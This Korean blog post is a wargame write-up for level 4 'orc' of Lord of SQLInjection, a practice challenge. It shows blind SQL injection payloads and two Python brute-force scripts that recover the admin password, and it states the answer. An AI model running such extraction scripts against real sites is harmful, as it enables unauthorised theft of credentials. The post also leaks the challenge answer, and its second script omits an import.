본문 바로가기

#WarGame/Lord of SQLInjection

Lord of SQLInjection 4번 orc

반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

 

Lord of SQLInjection 4번 orc

 

 

 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

이전 문제에서는 id가 admin일때 문제가 해결되었지만 이번문제는 id가 admin일때 pw값을 직접 비교한다.

즉, pw값을 정확히 알아내야 하는 문제이다.

 

Blind SQLInjection으로 해결할 수 있다.

우선 코드에서 length가 필터링이 안 되어있으므로 pw의 길이를 알아낼수 있다.

 

 

 

 

pw=''or length(pw)>5;#'

length 구문이 참인지 거짓인지를 Hello admin이라는 문자열로 알려준다.

pw는 5보다 크다.

찾다 보면 길이는 8자이다.

 

 

python으로도 풀 수 있다.

 

import requests
import re

url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies={"PHPSESSID":"본인의 세션값"} 

for i in range(0,10):
    pay=f"?pw='or id='admin' and length(pw)={i};%23" #pw 길이 비교
    res=requests.get(url+pay,cookies=cookies)
    
    find = re.findall("Hello admin", res.text) # Hello admin 문자열 매칭
    
    if find:
        print("length:",i)
        length=i
        break

==> length: 8

 

 

 

이제는 첫글자를 찾을 차례이다.

substring으로 찾을 수 있다.

 

 

 

pw=''or substring(pw,1,1)=0;#'

substring(문자열, 시작위치, 개수)

첫번째 문자열은 0이다.

 

 

이것도 python으로 풀 수 있다.

import requests

url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies={"PHPSESSID":"686fl740nsb98gmrbn9p0mlhg3"}

pw=""
for i in range(1,9):
    for j in range(32,127):
        pay=f"?pw='or id='admin' and ord(substring(pw,{i},1))={j};%23" #첫글자씩 찾기
        res=requests.get(url+pay,cookies=cookies)
        find = re.findall("Hello admin", res.text)
    
        if find:
            pw+=chr(j)
            break
print("pw=",pw)

 

pw= 095a9852

 

 

 

 

 

 

 

 

 

 

반응형

'#WarGame > Lord of SQLInjection' 카테고리의 다른 글

Lord of SQLInjection 6번 darkelf  (0) 2021.08.06
Lord of SQLInjection 5번 wolfman  (0) 2021.08.06
Lord of SQLInjection 3번 goblin  (0) 2021.08.06
Lord of SQLInjection 2번 cobolt  (0) 2021.08.06
Lord of SQLInjection 1번 gremlin  (0) 2021.08.06